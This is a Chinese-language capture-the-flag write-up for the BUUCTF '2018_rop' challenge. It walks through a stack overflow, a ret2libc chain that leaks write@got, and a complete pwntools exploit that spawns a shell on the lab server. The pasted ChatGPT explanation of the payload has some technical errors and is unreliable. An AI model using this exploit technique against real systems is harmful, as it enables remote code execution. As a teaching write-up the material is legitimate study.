前置工作
先 CheckSec,结果如下
┌──(ela㉿kali)-[~/Pwn] └─$ checksec 2018_rop [*] '/home/ela/Pwn/2018_rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
开启了 NX,ShellCode 无缘,而且题目叫 ROP,肯定就是 ROP
用 IDA 打开主程序
int __cdecl main(int argc, const char **argv, const char **envp) { be_nice_to_people(); vulnerable_function(); return write(1, "Hello, World\n", 0xDu); }
|
然后是 vulnerable_function()
ssize_t vulnerable_function() { char buf[136];
return read(0, buf, 0x100u); }
|
这里可以造成栈溢出,注入点找到了
仔细看了一圈,发现没有 system()
函数和 /bin/sh
字符串,看来得构造
再看了看,感觉可以从主程序的 write()
函数算出来基地址
想试试看 ROPgadget,结果发现没有能用的 pop rdi; ret
,那只能用别的方法了
构造 Payload 1
main_addr = elf.symbols["main"] write_plt = elf.plt["write"] write_got = elf.got["write"]
payload1 = b"A" * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) io.sendline(payload1)
|
以下是对于 Payload 1 的一些解释(由 ChatGPT 生成)
“A” * (0x88 + 0x4): 这是填充部分,用于填充到返回地址之前的缓冲区,以覆盖返回地址。0x88 是缓冲区的长度,0x4 是因为你使用了32位的地址,所以填充4个字节
p32(write_plt): 这部分将 write 函数的地址(write_plt)添加到ROP链中,以便在下一次返回时跳转到 write 函数
p32(main_addr): 这一部分是设置返回地址,将程序重新返回到 main 函数。这是为了让程序能够重新执行,以便进行下一步的攻击
p32(1): 这是将 write 函数的参数 fd 设置为标准输出(文件描述符1),以便在泄漏数据时将其写入标准输出
p32(write_got): 这一部分是将 write 函数的GOT表项的地址(write_got)添加到ROP链中,以便在执行 write 函数时可以泄漏其真实地址
p32(4): 这是 write 函数的参数 n,表示要读取的字节数
计算 Libc 基址
接受返回数据,获得 write()
的实际地址,然后计算基址,接着就是计算 system()
和 /bin/sh
的实际地址
write_addr = u32(io.recv(4).strip().ljust(4, b"\0")) libc = LibcSearcher("write", write_addr) libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh")
|
构造 Payload 2
payload2 = b"A" * (0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr) io.sendline(payload2)
|
附总 Exp
from pwn import * from LibcSearcher import *
p32 = lambda x: pack(x, 32) u32 = lambda x: unpack(x, 32)
io = remote("node4.buuoj.cn", 27742) elf = ELF("./2018_rop")
main_addr = elf.symbols["main"] write_plt = elf.plt["write"] write_got = elf.got["write"]
payload1 = b"A" * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) io.sendline(payload1)
write_addr = u32(io.recv(4).strip().ljust(4, b"\0")) libc = LibcSearcher("write", write_addr) libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload2 = b"A" * (0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr) io.sendline(payload2)
io.interactive()
|